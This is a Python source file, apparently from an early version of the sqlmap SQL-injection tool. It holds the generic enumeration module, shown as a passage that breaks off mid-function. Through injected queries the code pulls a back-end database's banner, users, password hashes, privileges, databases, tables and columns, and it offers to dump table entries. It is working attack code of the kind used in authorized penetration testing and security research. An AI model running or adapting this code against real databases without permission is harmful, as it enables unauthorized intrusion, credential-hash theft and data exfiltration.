sqlmap/plugins/generic/enumeration.py

1567 lines
58 KiB
Python

#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2010 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.agent import agent
from lib.core.common import getRange
from lib.core.common import parsePasswordHash
from lib.core.common import readInput
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.data import temp
from lib.core.dump import dumper
from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.session import setOs
from lib.core.settings import SQL_STATEMENTS
from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper
from lib.parse.banner import bannerParser
from lib.request import inject
from lib.techniques.inband.union.test import unionTest
from lib.techniques.outband.stacked import stackedTest
class Enumeration:
"""
This class defines generic enumeration functionalities for plugins.
"""
def __init__(self, dbms):
kb.data.has_information_schema = False
kb.data.banner = ""
kb.data.currentUser = ""
kb.data.currentDb = ""
kb.data.cachedUsers = []
kb.data.cachedUsersPasswords = {}
kb.data.cachedUsersPrivileges = {}
kb.data.cachedUsersRoles = {}
kb.data.cachedDbs = []
kb.data.cachedTables = {}
kb.data.cachedColumns = {}
kb.data.dumpedTable = {}
temp.inference = queries[dbms].inference
def getBanner(self):
if not conf.getBanner:
return
kb.dbmsDetected = True
infoMsg = "fetching banner"
logger.info(infoMsg)
if not kb.data.banner:
if conf.unionUse or conf.unionTest:
dumper.string("valid union", unionTest())
query = queries[kb.dbms].banner
kb.data.banner = inject.getValue(query)
bannerParser(kb.data.banner)
if conf.os and conf.os == "windows":
kb.bannerFp["type"] = set([ "Windows" ])
elif conf.os and conf.os == "linux":
kb.bannerFp["type"] = set([ "Linux" ])
elif conf.os:
kb.bannerFp["type"] = set([ "%s%s" % (conf.os[0].upper(), conf.os[1:]) ])
setOs()
return kb.data.banner
def getCurrentUser(self):
infoMsg = "fetching current user"
logger.info(infoMsg)
query = queries[kb.dbms].currentUser
if not kb.data.currentUser:
kb.data.currentUser = inject.getValue(query)
return kb.data.currentUser
def getCurrentDb(self):
infoMsg = "fetching current database"
logger.info(infoMsg)
query = queries[kb.dbms].currentDb
if not kb.data.currentDb:
kb.data.currentDb = inject.getValue(query)
return kb.data.currentDb
def isDba(self):
infoMsg = "testing if current user is DBA"
logger.info(infoMsg)
query = agent.forgeCaseStatement(queries[kb.dbms].isDba)
kb.data.isDba = inject.getValue(query, unpack=False, charsetType=1)
return kb.data.isDba == "1"
def getUsers(self):
infoMsg = "fetching database users"
logger.info(infoMsg)
rootQuery = queries[kb.dbms].users
condition = ( kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ) )
condition |= ( kb.dbms == "MySQL" and not kb.data.has_information_schema )
if kb.unionPosition or conf.direct:
if condition:
query = rootQuery["inband"]["query2"]
else:
query = rootQuery["inband"]["query"]
value = inject.getValue(query, blind=False)
if value:
kb.data.cachedUsers = value
if not kb.data.cachedUsers:
infoMsg = "fetching number of database users"
logger.info(infoMsg)
if condition:
query = rootQuery["blind"]["count2"]
else:
query = rootQuery["blind"]["count"]
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
errMsg = "unable to retrieve the number of database users"
raise sqlmapNoneDataException, errMsg
if kb.dbms == "Oracle":
plusOne = True
else:
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange:
if condition:
query = rootQuery["blind"]["query2"] % index
else:
query = rootQuery["blind"]["query"] % index
user = inject.getValue(query, inband=False)
if user:
kb.data.cachedUsers.append(user)
if not kb.data.cachedUsers:
errMsg = "unable to retrieve the database users"
raise sqlmapNoneDataException, errMsg
return kb.data.cachedUsers
def getPasswordHashes(self):
infoMsg = "fetching database users password hashes"
rootQuery = queries[kb.dbms].passwords
if conf.user == "CU":
infoMsg += " for current user"
conf.user = self.getCurrentUser()
logger.info(infoMsg)
if kb.unionPosition or conf.direct:
if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
query = rootQuery["inband"]["query2"]
else:
query = rootQuery["inband"]["query"]
condition = rootQuery["inband"]["condition"]
if conf.user:
if "," in conf.user:
users = conf.user.split(",")
query += " WHERE "
query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
else:
if kb.dbms == "MySQL":
parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user)
if parsedUser:
conf.user = parsedUser.groups()[0]
query += " WHERE %s = '%s'" % (condition, conf.user)
value = inject.getValue(query, blind=False)
if value:
for user, password in value:
if not user or user == " ":
continue
password = parsePasswordHash(password)
if not kb.data.cachedUsersPasswords.has_key(user):
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
if not kb.data.cachedUsersPasswords:
if conf.user:
if "," in conf.user:
users = conf.user.split(",")
else:
users = [conf.user]
else:
if not len(kb.data.cachedUsers):
users = self.getUsers()
else:
users = kb.data.cachedUsers
retrievedUsers = set()
for user in users:
if kb.dbms == "MySQL":
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
if parsedUser:
user = parsedUser.groups()[0]
if user in retrievedUsers:
continue
infoMsg = "fetching number of password hashes "
infoMsg += "for user '%s'" % user
logger.info(infoMsg)
if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
query = rootQuery["blind"]["count2"] % user
else:
query = rootQuery["blind"]["count"] % user
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
warnMsg = "unable to retrieve the number of password "
warnMsg += "hashes for user '%s'" % user
logger.warn(warnMsg)
continue
infoMsg = "fetching password hashes for user '%s'" % user
logger.info(infoMsg)
passwords = []
if kb.dbms == "Oracle":
plusOne = True
else:
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange:
if kb.dbms == "Microsoft SQL Server":
if kb.dbmsVersion[0] in ( "2005", "2008" ):
query = rootQuery["blind"]["query2"] % (user, index, user)
else:
query = rootQuery["blind"]["query"] % (user, index, user)
else:
query = rootQuery["blind"]["query"] % (user, index)
password = inject.getValue(query, inband=False)
password = parsePasswordHash(password)
passwords.append(password)
if passwords:
kb.data.cachedUsersPasswords[user] = passwords
else:
warnMsg = "unable to retrieve the password "
warnMsg += "hashes for user '%s'" % user
logger.warn(warnMsg)
retrievedUsers.add(user)
if not kb.data.cachedUsersPasswords:
errMsg = "unable to retrieve the password "
errMsg += "hashes for the database users"
raise sqlmapNoneDataException, errMsg
return kb.data.cachedUsersPasswords
def __isAdminFromPrivileges(self, privileges):
# In PostgreSQL the usesuper privilege means that the
# user is DBA
dbaCondition = ( kb.dbms == "PostgreSQL" and "super" in privileges )
# In Oracle the DBA privilege means that the
# user is DBA
dbaCondition |= ( kb.dbms == "Oracle" and "DBA" in privileges )
# In MySQL >= 5.0 the SUPER privilege means
# that the user is DBA
dbaCondition |= ( kb.dbms == "MySQL" and kb.data.has_information_schema and "SUPER" in privileges )
# In MySQL < 5.0 the super_priv privilege means
# that the user is DBA
dbaCondition |= ( kb.dbms == "MySQL" and not kb.data.has_information_schema and "super_priv" in privileges )
# In Firebird there is no specific privilege that means
# that the user is DBA
# TODO: confirm
dbaCondition |= ( kb.dbms == "Firebird" and "SELECT" in privileges and "INSERT" in privileges and "UPDATE" in privileges and "DELETE" in privileges and "REFERENCES" in privileges and "EXECUTE" in privileges )
return dbaCondition
def getPrivileges(self, query2=False):
infoMsg = "fetching database users privileges"
rootQuery = queries[kb.dbms].privileges
if conf.user == "CU":
infoMsg += " for current user"
conf.user = self.getCurrentUser()
logger.info(infoMsg)
# Set containing the list of DBMS administrators
areAdmins = set()
mysqlPrivs = (
( 1, "select_priv" ),
( 2, "insert_priv" ),
( 3, "update_priv" ),
( 4, "delete_priv" ),
( 5, "create_priv" ),
( 6, "drop_priv" ),
( 7, "reload_priv" ),
( 8, "shutdown_priv" ),
( 9, "process_priv" ),
( 10, "file_priv" ),
( 11, "grant_priv" ),
( 12, "references_priv" ),
( 13, "index_priv" ),
( 14, "alter_priv" ),
( 15, "show_db_priv" ),
( 16, "super_priv" ),
( 17, "create_tmp_table_priv" ),
( 18, "lock_tables_priv" ),
( 19, "execute_priv" ),
( 20, "repl_slave_priv" ),
( 21, "repl_client_priv" ),
( 22, "create_view_priv" ),
( 23, "show_view_priv" ),
( 24, "create_routine_priv" ),
( 25, "alter_routine_priv" ),
( 26, "create_user_priv" ),
)
pgsqlPrivs = (
( 1, "createdb" ),
( 2, "super" ),
( 3, "catupd" ),
)
firebirdPrivs = {
"S": "SELECT",
"I": "INSERT",
"U": "UPDATE",
"D": "DELETE",
"R": "REFERENCES",
"E": "EXECUTE"
}
if kb.unionPosition or conf.direct:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
query = rootQuery["inband"]["query2"]
condition = rootQuery["inband"]["condition2"]
elif kb.dbms == "Oracle" and query2:
query = rootQuery["inband"]["query2"]
condition = rootQuery["inband"]["condition2"]
else:
query = rootQuery["inband"]["query"]
condition = rootQuery["inband"]["condition"]
if conf.user:
users = conf.user.split(",")
query += " WHERE "
# NOTE: I assume that the user provided is not in
# MySQL >= 5.0 syntax 'user'@'host'
if kb.dbms == "MySQL" and kb.data.has_information_schema:
queryUser = "%" + conf.user + "%"
query += " OR ".join("%s LIKE '%s'" % (condition, "%" + user + "%") for user in users)
else:
query += " OR ".join("%s = '%s'" % (condition, user) for user in users)
values = inject.getValue(query, blind=False)
if not values and kb.dbms == "Oracle" and not query2:
infoMsg = "trying with table USER_SYS_PRIVS"
logger.info(infoMsg)
return self.getPrivileges(query2=True)
if values:
for value in values:
user = None
privileges = set()
for count in xrange(0, len(value)):
# The first column is always the username
if count == 0:
user = value[count]
# The other columns are the privileges
else:
privilege = value[count]
# In PostgreSQL we get 1 if the privilege is
# True, 0 otherwise
if kb.dbms == "PostgreSQL" and str(privilege).isdigit():
for position, pgsqlPriv in pgsqlPrivs:
if count == position and int(privilege) == 1:
privileges.add(pgsqlPriv)
# In MySQL >= 5.0 and Oracle we get the list
# of privileges as string
elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and kb.data.has_information_schema ):
privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is
# True, N otherwise
elif kb.dbms == "MySQL" and not kb.data.has_information_schema:
for position, mysqlPriv in mysqlPrivs:
if count == position and privilege.upper() == "Y":
privileges.add(mysqlPriv)
if self.__isAdminFromPrivileges(privileges):
areAdmins.add(user)
if kb.data.cachedUsersPrivileges.has_key(user):
kb.data.cachedUsersPrivileges[user].extend(privileges)
else:
kb.data.cachedUsersPrivileges[user] = list(privileges)
if not kb.data.cachedUsersPrivileges:
conditionChar = "="
if conf.user:
if kb.dbms == "MySQL" and kb.data.has_information_schema:
conditionChar = " LIKE "
if "," in conf.user:
users = set()
for user in conf.user.split(","):
users.add("%" + user + "%")
else:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", conf.user)
if parsedUser:
conf.user = parsedUser.groups()[0]
users = [ "%" + conf.user + "%" ]
else:
users = conf.user.split(",")
else:
if not len(kb.data.cachedUsers):
users = self.getUsers()
else:
users = kb.data.cachedUsers
retrievedUsers = set()
for user in users:
unescapedUser = None
if kb.dbms == "MySQL" and kb.data.has_information_schema:
unescapedUser = unescaper.unescape(user, quote=False)
if user in retrievedUsers:
continue
infoMsg = "fetching number of privileges "
infoMsg += "for user '%s'" % user
logger.info(infoMsg)
if unescapedUser:
queryUser = unescapedUser
else:
queryUser = user
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
query = rootQuery["blind"]["count2"] % queryUser
elif kb.dbms == "MySQL" and kb.data.has_information_schema:
query = rootQuery["blind"]["count"] % (conditionChar, queryUser)
elif kb.dbms == "Oracle" and query2:
query = rootQuery["blind"]["count2"] % queryUser
else:
query = rootQuery["blind"]["count"] % queryUser
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
if not count.isdigit() and kb.dbms == "Oracle" and not query2:
infoMsg = "trying with table USER_SYS_PRIVS"
logger.info(infoMsg)
return self.getPrivileges(query2=True)
warnMsg = "unable to retrieve the number of "
warnMsg += "privileges for user '%s'" % user
logger.warn(warnMsg)
continue
infoMsg = "fetching privileges for user '%s'" % user
logger.info(infoMsg)
privileges = set()
if kb.dbms == "Oracle":
plusOne = True
else:
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
query = rootQuery["blind"]["query2"] % (queryUser, index)
elif kb.dbms == "MySQL" and kb.data.has_information_schema:
query = rootQuery["blind"]["query"] % (conditionChar, queryUser, index)
elif kb.dbms == "Oracle" and query2:
query = rootQuery["blind"]["query2"] % (queryUser, index)
elif kb.dbms == "Firebird":
query = rootQuery["blind"]["query"] % (index, queryUser)
else:
query = rootQuery["blind"]["query"] % (queryUser, index)
privilege = inject.getValue(query, inband=False)
# In PostgreSQL we get 1 if the privilege is True,
# 0 otherwise
if kb.dbms == "PostgreSQL" and ", " in privilege:
privilege = privilege.replace(", ", ",")
privs = privilege.split(",")
i = 1
for priv in privs:
if priv.isdigit() and int(priv) == 1:
for position, pgsqlPriv in pgsqlPrivs:
if position == i:
privileges.add(pgsqlPriv)
i += 1
# In MySQL >= 5.0 and Oracle we get the list
# of privileges as string
elif kb.dbms == "Oracle" or ( kb.dbms == "MySQL" and kb.data.has_information_schema ):
privileges.add(privilege)
# In MySQL < 5.0 we get Y if the privilege is
# True, N otherwise
elif kb.dbms == "MySQL" and not kb.data.has_information_schema:
privilege = privilege.replace(", ", ",")
privs = privilege.split(",")
i = 1
for priv in privs:
if priv.upper() == "Y":
for position, mysqlPriv in mysqlPrivs:
if position == i:
privileges.add(mysqlPriv)
i += 1
# In Firebird we get one letter for each privilege
elif kb.dbms == "Firebird":
privileges.add(firebirdPrivs[privilege.strip()])
if self.__isAdminFromPrivileges(privileges):
areAdmins.add(user)
# In MySQL < 5.0 we break the cycle after the first
# time we get the user's privileges otherwise we
# duplicate the same query
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
break
if privileges:
kb.data.cachedUsersPrivileges[user] = list(privileges)
else:
warnMsg = "unable to retrieve the privileges "
warnMsg += "for user '%s'" % user
logger.warn(warnMsg)
retrievedUsers.add(user)
if not kb.data.cachedUsersPrivileges:
errMsg = "unable to retrieve the privileges "
errMsg += "for the database users"
raise sqlmapNoneDataException, errMsg
return ( kb.data.cachedUsersPrivileges, areAdmins )
def getRoles(self, query2=False):
warnMsg = "on %s the concept of roles does not " % kb.dbms
warnMsg += "exist. sqlmap will enumerate privileges instead"
logger.warn(warnMsg)
return self.getPrivileges(query2)
def getDbs(self):
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
warnMsg = "information_schema not available, "
warnMsg += "back-end DBMS is MySQL < 5. database "
warnMsg += "names will be fetched from 'mysql' database"
logger.warn(warnMsg)
infoMsg = "fetching database names"
logger.info(infoMsg)
rootQuery = queries[kb.dbms].dbs
if kb.unionPosition or conf.direct:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
query = rootQuery["inband"]["query2"]
else:
query = rootQuery["inband"]["query"]
value = inject.getValue(query, blind=False)
if value:
kb.data.cachedDbs = value
if not kb.data.cachedDbs:
infoMsg = "fetching number of databases"
logger.info(infoMsg)
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
query = rootQuery["blind"]["count2"]
else:
query = rootQuery["blind"]["count"]
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
errMsg = "unable to retrieve the number of databases"
raise sqlmapNoneDataException, errMsg
indexRange = getRange(count)
for index in indexRange:
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
query = rootQuery["blind"]["query2"] % index
else:
query = rootQuery["blind"]["query"] % index
db = inject.getValue(query, inband=False)
if db:
kb.data.cachedDbs.append(db)
if not kb.data.cachedDbs:
errMsg = "unable to retrieve the database names"
raise sqlmapNoneDataException, errMsg
return kb.data.cachedDbs
def getTables(self):
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
raise sqlmapUnsupportedFeatureException, errMsg
self.forceDbmsEnum()
infoMsg = "fetching tables"
if conf.db:
infoMsg += " for database '%s'" % conf.db
logger.info(infoMsg)
rootQuery = queries[kb.dbms].tables
if kb.unionPosition or conf.direct:
query = rootQuery["inband"]["query"]
condition = rootQuery["inband"]["condition"]
if conf.db and kb.dbms != "SQLite":
if "," in conf.db:
dbs = conf.db.split(",")
query += " WHERE "
query += " OR ".join("%s = '%s'" % (condition, db) for db in dbs)
else:
query += " WHERE %s='%s'" % (condition, conf.db)
elif conf.excludeSysDbs:
query += " WHERE "
query += " AND ".join("%s != '%s'" % (condition, db) for db in self.excludeDbsList)
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
logger.info(infoMsg)
value = inject.getValue(query, blind=False)
if value:
if kb.dbms == "SQLite":
if isinstance(value, str):
value = [[ "SQLite", value ]]
elif isinstance(value, (list, tuple, set)):
newValue = []
for v in value:
newValue.append([ "SQLite", v])
value = newValue
for db, table in value:
if not kb.data.cachedTables.has_key(db):
kb.data.cachedTables[db] = [table]
else:
kb.data.cachedTables[db].append(table)
if not kb.data.cachedTables:
if conf.db:
if "," in conf.db:
dbs = conf.db.split(",")
else:
dbs = [conf.db]
else:
if not len(kb.data.cachedDbs):
dbs = self.getDbs()
else:
dbs = kb.data.cachedDbs
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
infoMsg = "fetching number of tables for "
infoMsg += "database '%s'" % db
logger.info(infoMsg)
if kb.dbms in ("SQLite", "Firebird"):
query = rootQuery["blind"]["count"]
else:
query = rootQuery["blind"]["count"] % db
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
warnMsg = "unable to retrieve the number of "
warnMsg += "tables for database '%s'" % db
logger.warn(warnMsg)
continue
tables = []
if kb.dbms in ( "Microsoft SQL Server", "Oracle" ):
plusOne = True
else:
plusOne = False
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange:
if kb.dbms in ("SQLite", "Firebird"):
query = rootQuery["blind"]["query"] % index
else:
query = rootQuery["blind"]["query"] % (db, index)
table = inject.getValue(query, inband=False)
tables.append(table)
if tables:
kb.data.cachedTables[db] = tables
else:
warnMsg = "unable to retrieve the tables "
warnMsg += "for database '%s'" % db
logger.warn(warnMsg)
if not kb.data.cachedTables:
errMsg = "unable to retrieve the tables for any database"
raise sqlmapNoneDataException, errMsg
return kb.data.cachedTables
def getColumns(self, onlyColNames=False):
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
raise sqlmapUnsupportedFeatureException, errMsg
if not conf.tbl:
errMsg = "missing table parameter"
raise sqlmapMissingMandatoryOptionException, errMsg
if "." in conf.tbl:
conf.db, conf.tbl = conf.tbl.split(".")
self.forceDbmsEnum()
if not conf.db:
warnMsg = "missing database parameter, sqlmap is going to "
warnMsg += "use the current database to enumerate table "
warnMsg += "'%s' columns" % conf.tbl
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
firebirdTypes = {
"261":"BLOB",
"14":"CHAR",
"40":"CSTRING",
"11":"D_FLOAT",
"27":"DOUBLE",
"10":"FLOAT",
"16":"INT64",
"8":"INTEGER",
"9":"QUAD",
"7":"SMALLINT",
"12":"DATE",
"13":"TIME",
"35":"TIMESTAMP",
"37":"VARCHAR"
}
rootQuery = queries[kb.dbms].columns
condition = rootQuery["blind"]["condition"]
infoMsg = "fetching columns "
if conf.col:
if kb.dbms == "Oracle":
conf.col = conf.col.upper()
colList = conf.col.split(",")
condQuery = " AND (" + " OR ".join("%s LIKE '%s'" % (condition, "%" + col + "%") for col in colList) + ")"
infoMsg += "like '%s' " % ", ".join(col for col in colList)
else:
condQuery = ""
infoMsg += "for table '%s' " % conf.tbl
infoMsg += "on database '%s'" % conf.db
logger.info(infoMsg)
if kb.unionPosition or conf.direct:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
query = rootQuery["inband"]["query"] % (conf.tbl, conf.db)
query += condQuery
elif kb.dbms == "Oracle":
query = rootQuery["inband"]["query"] % conf.tbl.upper()
query += condQuery
elif kb.dbms == "Microsoft SQL Server":
query = rootQuery["inband"]["query"] % (conf.db, conf.db,
conf.db, conf.db,
conf.db, conf.db,
conf.db, conf.tbl)
query += condQuery.replace("[DB]", conf.db)
value = inject.getValue(query, blind=False)
if value:
table = {}
columns = {}
for column, colType in value:
columns[column] = colType
table[conf.tbl] = columns
kb.data.cachedColumns[conf.db] = table
if not kb.data.cachedColumns:
infoMsg = "fetching number of columns "
infoMsg += "for table '%s'" % conf.tbl
infoMsg += " on database '%s'" % conf.db
logger.info(infoMsg)
if kb.dbms in ( "MySQL", "PostgreSQL" ):
query = rootQuery["blind"]["count"] % (conf.tbl, conf.db)
query += condQuery
elif kb.dbms == "Oracle":
query = rootQuery["blind"]["count"] % conf.tbl.upper()
query += condQuery
elif kb.dbms == "Microsoft SQL Server":
query = rootQuery["blind"]["count"] % (conf.db, conf.db, conf.tbl)
query += condQuery.replace("[DB]", conf.db)
elif kb.dbms == "Firebird":
query = rootQuery["blind"]["count"] % (conf.tbl)
query += condQuery
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
errMsg = "unable to retrieve the number of columns "
errMsg += "for table '%s' " % conf.tbl
errMsg += "on database '%s'" % conf.db
raise sqlmapNoneDataException, errMsg
table = {}
columns = {}
indexRange = getRange(count)
for index in indexRange:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
query = rootQuery["blind"]["query"] % (conf.tbl, conf.db)
query += condQuery
field = None
elif kb.dbms == "Oracle":
query = rootQuery["blind"]["query"] % (conf.tbl.upper())
query += condQuery
field = None
elif kb.dbms == "Microsoft SQL Server":
query = rootQuery["blind"]["query"] % (conf.db, conf.db,
conf.db, conf.db,
conf.db, conf.db,
conf.tbl)
query += condQuery.replace("[DB]", conf.db)
field = condition.replace("[DB]", conf.db)
elif kb.dbms == "Firebird":
query = rootQuery["blind"]["query"] % (conf.tbl)
query += condQuery
field = None
query = agent.limitQuery(index, query, field)
column = inject.getValue(query, inband=False)
if not onlyColNames:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
query = rootQuery["blind"]["query2"] % (conf.tbl, column, conf.db)
elif kb.dbms == "Oracle":
query = rootQuery["blind"]["query2"] % (conf.tbl.upper(), column)
elif kb.dbms == "Microsoft SQL Server":
query = rootQuery["blind"]["query2"] % (conf.db, conf.db, conf.db,
conf.db, column, conf.db,
conf.db, conf.db, conf.tbl)
elif kb.dbms == "Firebird":
query = rootQuery["blind"]["query2"] % (conf.tbl, column)
colType = inject.getValue(query, inband=False)
if kb.dbms == "Firebird":
colType = firebirdTypes[colType] if colType in firebirdTypes else colType
columns[column] = colType
else:
columns[column] = None
if columns:
table[conf.tbl] = columns
kb.data.cachedColumns[conf.db] = table
if not kb.data.cachedColumns:
errMsg = "unable to retrieve the columns "
errMsg += "for table '%s' " % conf.tbl
errMsg += "on database '%s'" % conf.db
raise sqlmapNoneDataException, errMsg
return kb.data.cachedColumns
def dumpColumn(self):
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
errMsg += "back-end DBMS is MySQL < 5.0"
raise sqlmapUnsupportedFeatureException, errMsg
if not conf.col:
errMsg = "missing column parameter"
raise sqlmapMissingMandatoryOptionException, errMsg
rootQuery = queries[kb.dbms].dumpColumn
foundCols = {}
dbs = {}
colList = conf.col.split(",")
colCond = rootQuery["inband"]["condition"]
dbCond = rootQuery["inband"]["condition2"]
message = "do you want sqlmap to consider provided column(s):\n"
message += "[1] as LIKE column names (default)\n"
message += "[2] as exact column names"
colConsider = readInput(message, default="1")
if not colConsider or colConsider.isdigit() and colConsider == "1":
colConsider = "1"
colCondParam = " LIKE '%%%s%%'"
elif colConsider.isdigit() and colConsider == "2":
colCondParam = "='%s'"
else:
errMsg = "invalid value"
raise sqlmapNoneDataException, errMsg
for column in colList:
if kb.dbms == "Oracle":
column = column.upper()
conf.db = "USERS"
elif kb.dbms == "Microsoft SQL Server":
if not conf.db:
if not len(kb.data.cachedDbs):
enumDbs = self.getDbs()
else:
enumDbs = kb.data.cachedDbs
conf.db = ",".join(db for db in enumDbs)
foundCols[column] = {}
if conf.db:
for db in conf.db.split(","):
dbs[db] = {}
foundCols[column][db] = []
continue
infoMsg = "fetching databases with tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % column
logger.info(infoMsg)
if conf.excludeSysDbs and kb.dbms != "Oracle":
dbsQuery = "".join(" AND '%s' != %s" % (db, dbCond) for db in self.excludeDbsList)
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
logger.info(infoMsg)
else:
dbsQuery = ""
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % column
if kb.unionPosition or conf.direct:
query = rootQuery["inband"]["query"]
query += colQuery
query += dbsQuery
values = inject.getValue(query, blind=False)
if values:
if isinstance(values, str):
values = [ values ]
for value in values:
dbs[value] = {}
foundCols[column][value] = []
else:
infoMsg = "fetching number of databases with tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s'" % column
logger.info(infoMsg)
query = rootQuery["blind"]["count"]
query += colQuery
query += dbsQuery
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
warnMsg = "no databases have tables containing column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s'" % column
logger.warn(warnMsg)
continue
indexRange = getRange(count)
for index in indexRange:
query = rootQuery["blind"]["query"]
query += colQuery
query += dbsQuery
query = agent.limitQuery(index, query)
db = inject.getValue(query, inband=False)
dbs[db] = {}
foundCols[column][db] = []
for column, dbData in foundCols.items():
colQuery = "%s%s" % (colCond, colCondParam)
colQuery = colQuery % column
for db in dbData:
infoMsg = "fetching tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (column, db)
logger.info(infoMsg)
if kb.unionPosition or conf.direct:
query = rootQuery["inband"]["query2"]
if kb.dbms in ( "MySQL", "PostgreSQL" ):
query = query % db
query += " AND %s" % colQuery
elif kb.dbms == "Oracle":
query += " WHERE %s" % colQuery
elif kb.dbms == "Microsoft SQL Server":
query = query % (db, db, db, db, db)
query += " AND %s" % colQuery.replace("[DB]", db)
values = inject.getValue(query, blind=False)
if values:
if isinstance(values, str):
values = [ values ]
for value in values:
if value not in dbs[db]:
dbs[db][value] = {}
dbs[db][value][column] = None
foundCols[column][db].append(value)
else:
infoMsg = "fetching number of tables containing column"
if colConsider == "1":
infoMsg += "s like"
infoMsg += " '%s' in database '%s'" % (column, db)
logger.info(infoMsg)
query = rootQuery["blind"]["count2"]
if kb.dbms in ( "MySQL", "PostgreSQL" ):
query = query % db
query += " AND %s" % colQuery
elif kb.dbms == "Oracle":
query += " WHERE %s" % colQuery
elif kb.dbms == "Microsoft SQL Server":
query = query % (db, db, db, db, db)
query += " AND %s" % colQuery.replace("[DB]", db)
count = inject.getValue(query, inband=False, expected="int", charsetType=2)
if not count.isdigit() or not len(count) or count == "0":
warnMsg = "no tables contain column"
if colConsider == "1":
warnMsg += "s like"
warnMsg += " '%s' " % column
warnMsg += "in database '%s'" % db
logger.warn(warnMsg)
continue
indexRange = getRange(count)
for index in indexRange:
query = rootQuery["blind"]["query2"]
if kb.dbms in ( "MySQL", "PostgreSQL" ):
query = query % db
query += " AND %s" % colQuery
field = None
elif kb.dbms == "Oracle":
query += " WHERE %s" % colQuery
field = None
elif kb.dbms == "Microsoft SQL Server":
query = query % (db, db, db, db, db)
query += " AND %s" % colQuery.replace("[DB]", db)
field = colCond.replace("[DB]", db)
query = agent.limitQuery(index, query, field)
tbl = inject.getValue(query, inband=False)
if tbl not in dbs[db]:
dbs[db][tbl] = {}
dbs[db][tbl][column] = None
foundCols[column][db].append(tbl)
if colConsider == "1":
okDbs = {}
for db, tableData in dbs.items():
conf.db = db
okDbs[db] = {}
for tbl, columns in tableData.items():
conf.tbl = tbl
for column in columns:
conf.col = column
self.getColumns(onlyColNames=True)
if tbl in okDbs[db]:
okDbs[db][tbl].update(kb.data.cachedColumns[db][tbl])
else:
okDbs[db][tbl] = kb.data.cachedColumns[db][tbl]
kb.data.cachedColumns = {}
dbs = okDbs
if not dbs:
warnMsg = "no databases have tables containing any of the "
warnMsg += "provided columns"
logger.warn(warnMsg)
return
dumper.dbColumns(foundCols, colConsider, dbs)
message = "do you want to dump entries? [Y/n] "
output = readInput(message, default="Y")
if output and output[0] not in ("y", "Y"):
return
dumpFromDbs = []
message = "which database(s)?\n[a]ll (default)\n"
for db, tblData in dbs.items():
if tblData:
message += "[%s]\n" % db
